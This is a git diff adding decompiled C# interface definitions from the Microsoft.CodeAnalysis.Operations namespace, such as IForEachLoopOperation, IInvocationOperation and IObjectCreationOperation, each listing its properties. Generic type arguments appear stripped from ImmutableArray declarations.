a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicObjectCreationOperation.cs new file mode 100644 index 0000000..598250f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IDynamicObjectCreationOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IDynamicObjectCreationOperation : IOperation +{ + IObjectOrCollectionInitializerOperation? Initializer { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEmptyOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEmptyOperation.cs new file mode 100644 index 0000000..bca55ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEmptyOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IEmptyOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEndOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEndOperation.cs new file mode 100644 index 0000000..ca40b3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEndOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IEndOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEventAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEventAssignmentOperation.cs new file mode 100644 index 0000000..6f08b45 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEventAssignmentOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IEventAssignmentOperation : IOperation +{ + IOperation EventReference { get; } + + IOperation HandlerValue { get; } + + bool Adds { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEventReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEventReferenceOperation.cs new file mode 100644 index 0000000..2d13e76 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IEventReferenceOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IEventReferenceOperation : IMemberReferenceOperation, IOperation +{ + IEventSymbol Event { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IExpressionStatementOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IExpressionStatementOperation.cs new file mode 100644 index 0000000..6b1ec76 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IExpressionStatementOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IExpressionStatementOperation : IOperation +{ + IOperation Operation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFieldInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFieldInitializerOperation.cs new file mode 100644 index 0000000..a4e1ebe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFieldInitializerOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IFieldInitializerOperation : ISymbolInitializerOperation, IOperation +{ + ImmutableArray InitializedFields { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFieldReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFieldReferenceOperation.cs new file mode 100644 index 0000000..abb94fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFieldReferenceOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IFieldReferenceOperation : IMemberReferenceOperation, IOperation +{ + IFieldSymbol Field { get; } + + bool IsDeclaration { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFixedOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFixedOperation.cs new file mode 100644 index 0000000..ee468a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFixedOperation.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IFixedOperation : IOperation +{ + ImmutableArray Locals { get; } + + IVariableDeclarationGroupOperation Variables { get; } + + IOperation Body { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForEachLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForEachLoopOperation.cs new file mode 100644 index 0000000..7349766 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForEachLoopOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IForEachLoopOperation : ILoopOperation, IOperation +{ + IOperation LoopControlVariable { get; } + + IOperation Collection { get; } + + ImmutableArray NextVariables { get; } + + bool IsAsynchronous { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForLoopOperation.cs new file mode 100644 index 0000000..e284c99 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForLoopOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IForLoopOperation : ILoopOperation, IOperation +{ + ImmutableArray Before { get; } + + ImmutableArray ConditionLocals { get; } + + IOperation? Condition { get; } + + ImmutableArray AtLoopBottom { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForToLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForToLoopOperation.cs new file mode 100644 index 0000000..e1090d8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IForToLoopOperation.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IForToLoopOperation : ILoopOperation, IOperation +{ + IOperation LoopControlVariable { get; } + + IOperation InitialValue { get; } + + IOperation LimitValue { get; } + + IOperation StepValue { get; } + + bool IsChecked { get; } + + ImmutableArray NextVariables { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFunctionPointerInvocationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFunctionPointerInvocationOperation.cs new file mode 100644 index 0000000..30c5c59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IFunctionPointerInvocationOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IFunctionPointerInvocationOperation : IOperation +{ + IOperation Target { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IImplicitIndexerReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IImplicitIndexerReferenceOperation.cs new file mode 100644 index 0000000..7149e0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IImplicitIndexerReferenceOperation.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IImplicitIndexerReferenceOperation : IOperation +{ + IOperation Instance { get; } + + IOperation Argument { get; } + + ISymbol LengthSymbol { get; } + + ISymbol IndexerSymbol { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIncrementOrDecrementOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIncrementOrDecrementOperation.cs new file mode 100644 index 0000000..1c78212 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIncrementOrDecrementOperation.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IIncrementOrDecrementOperation : IOperation +{ + bool IsPostfix { get; } + + bool IsLifted { get; } + + bool IsChecked { get; } + + IOperation Target { get; } + + IMethodSymbol? OperatorMethod { get; } + + ITypeSymbol? ConstrainedToType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInlineArrayAccessOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInlineArrayAccessOperation.cs new file mode 100644 index 0000000..795e9bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInlineArrayAccessOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInlineArrayAccessOperation : IOperation +{ + IOperation Instance { get; } + + IOperation Argument { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInstanceReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInstanceReferenceOperation.cs new file mode 100644 index 0000000..22feeb8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInstanceReferenceOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInstanceReferenceOperation : IOperation +{ + InstanceReferenceKind ReferenceKind { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringAdditionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringAdditionOperation.cs new file mode 100644 index 0000000..5c3d9aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringAdditionOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringAdditionOperation : IOperation +{ + IOperation Left { get; } + + IOperation Right { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringAppendOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringAppendOperation.cs new file mode 100644 index 0000000..6e9ba4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringAppendOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringAppendOperation : IInterpolatedStringContentOperation, IOperation +{ + IOperation AppendCall { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringContentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringContentOperation.cs new file mode 100644 index 0000000..907a0f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringContentOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringContentOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringHandlerArgumentPlaceholderOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringHandlerArgumentPlaceholderOperation.cs new file mode 100644 index 0000000..db1926e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringHandlerArgumentPlaceholderOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringHandlerArgumentPlaceholderOperation : IOperation +{ + int ArgumentIndex { get; } + + InterpolatedStringArgumentPlaceholderKind PlaceholderKind { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringHandlerCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringHandlerCreationOperation.cs new file mode 100644 index 0000000..80cca58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringHandlerCreationOperation.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringHandlerCreationOperation : IOperation +{ + IOperation HandlerCreation { get; } + + bool HandlerCreationHasSuccessParameter { get; } + + bool HandlerAppendCallsReturnBool { get; } + + IOperation Content { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringOperation.cs new file mode 100644 index 0000000..301dc96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringOperation : IOperation +{ + ImmutableArray Parts { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringTextOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringTextOperation.cs new file mode 100644 index 0000000..98779b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolatedStringTextOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolatedStringTextOperation : IInterpolatedStringContentOperation, IOperation +{ + IOperation Text { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolationOperation.cs new file mode 100644 index 0000000..b85d123 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInterpolationOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInterpolationOperation : IInterpolatedStringContentOperation, IOperation +{ + IOperation Expression { get; } + + IOperation? Alignment { get; } + + IOperation? FormatString { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInvalidOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInvalidOperation.cs new file mode 100644 index 0000000..aec248f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInvalidOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInvalidOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInvocationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInvocationOperation.cs new file mode 100644 index 0000000..9e0e155 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IInvocationOperation.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IInvocationOperation : IOperation +{ + IMethodSymbol TargetMethod { get; } + + ITypeSymbol? ConstrainedToType { get; } + + IOperation? Instance { get; } + + bool IsVirtual { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIsPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIsPatternOperation.cs new file mode 100644 index 0000000..12babe8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIsPatternOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IIsPatternOperation : IOperation +{ + IOperation Value { get; } + + IPatternOperation Pattern { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIsTypeOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIsTypeOperation.cs new file mode 100644 index 0000000..1b6ecd7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IIsTypeOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IIsTypeOperation : IOperation +{ + IOperation ValueOperand { get; } + + ITypeSymbol TypeOperand { get; } + + bool IsNegated { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILabeledOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILabeledOperation.cs new file mode 100644 index 0000000..406bcbe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILabeledOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ILabeledOperation : IOperation +{ + ILabelSymbol Label { get; } + + IOperation? Operation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IListPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IListPatternOperation.cs new file mode 100644 index 0000000..1894eb1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IListPatternOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IListPatternOperation : IPatternOperation, IOperation +{ + ISymbol? LengthSymbol { get; } + + ISymbol? IndexerSymbol { get; } + + ImmutableArray Patterns { get; } + + ISymbol? DeclaredSymbol { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILiteralOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILiteralOperation.cs new file mode 100644 index 0000000..19dee3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILiteralOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ILiteralOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILocalFunctionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILocalFunctionOperation.cs new file mode 100644 index 0000000..e391785 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILocalFunctionOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ILocalFunctionOperation : IOperation +{ + IMethodSymbol Symbol { get; } + + IBlockOperation? Body { get; } + + IBlockOperation? IgnoredBody { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILocalReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILocalReferenceOperation.cs new file mode 100644 index 0000000..7969421 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILocalReferenceOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ILocalReferenceOperation : IOperation +{ + ILocalSymbol Local { get; } + + bool IsDeclaration { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILockOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILockOperation.cs new file mode 100644 index 0000000..850eb9c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILockOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ILockOperation : IOperation +{ + IOperation LockedValue { get; } + + IOperation Body { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILoopOperation.cs new file mode 100644 index 0000000..1d0c599 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ILoopOperation.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ILoopOperation : IOperation +{ + LoopKind LoopKind { get; } + + IOperation Body { get; } + + ImmutableArray Locals { get; } + + ILabelSymbol ContinueLabel { get; } + + ILabelSymbol ExitLabel { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMemberInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMemberInitializerOperation.cs new file mode 100644 index 0000000..33b4ab4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMemberInitializerOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IMemberInitializerOperation : IOperation +{ + IOperation InitializedMember { get; } + + IObjectOrCollectionInitializerOperation Initializer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMemberReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMemberReferenceOperation.cs new file mode 100644 index 0000000..df44b32 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMemberReferenceOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IMemberReferenceOperation : IOperation +{ + IOperation? Instance { get; } + + ISymbol Member { get; } + + ITypeSymbol? ConstrainedToType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodBodyBaseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodBodyBaseOperation.cs new file mode 100644 index 0000000..c3aed4e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodBodyBaseOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IMethodBodyBaseOperation : IOperation +{ + IBlockOperation? BlockBody { get; } + + IBlockOperation? ExpressionBody { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodBodyOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodBodyOperation.cs new file mode 100644 index 0000000..4c0f4bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodBodyOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IMethodBodyOperation : IMethodBodyBaseOperation, IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodReferenceOperation.cs new file mode 100644 index 0000000..46d11f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IMethodReferenceOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IMethodReferenceOperation : IMemberReferenceOperation, IOperation +{ + IMethodSymbol Method { get; } + + bool IsVirtual { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INameOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INameOfOperation.cs new file mode 100644 index 0000000..79d0ce0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INameOfOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface INameOfOperation : IOperation +{ + IOperation Argument { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INegatedPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INegatedPatternOperation.cs new file mode 100644 index 0000000..1fa17b6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INegatedPatternOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface INegatedPatternOperation : IPatternOperation, IOperation +{ + IPatternOperation Pattern { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INoPiaObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INoPiaObjectCreationOperation.cs new file mode 100644 index 0000000..a12254c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/INoPiaObjectCreationOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal interface INoPiaObjectCreationOperation : IOperation +{ + IObjectOrCollectionInitializerOperation? Initializer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IObjectCreationOperation.cs new file mode 100644 index 0000000..1376685 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IObjectCreationOperation.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IObjectCreationOperation : IOperation +{ + IMethodSymbol? Constructor { get; } + + IObjectOrCollectionInitializerOperation? Initializer { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IObjectOrCollectionInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IObjectOrCollectionInitializerOperation.cs new file mode 100644 index 0000000..e82c4ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IObjectOrCollectionInitializerOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IObjectOrCollectionInitializerOperation : IOperation +{ + ImmutableArray Initializers { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IOmittedArgumentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IOmittedArgumentOperation.cs new file mode 100644 index 0000000..1157ce0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IOmittedArgumentOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IOmittedArgumentOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParameterInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParameterInitializerOperation.cs new file mode 100644 index 0000000..3aa87f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParameterInitializerOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IParameterInitializerOperation : ISymbolInitializerOperation, IOperation +{ + IParameterSymbol Parameter { get; } +} 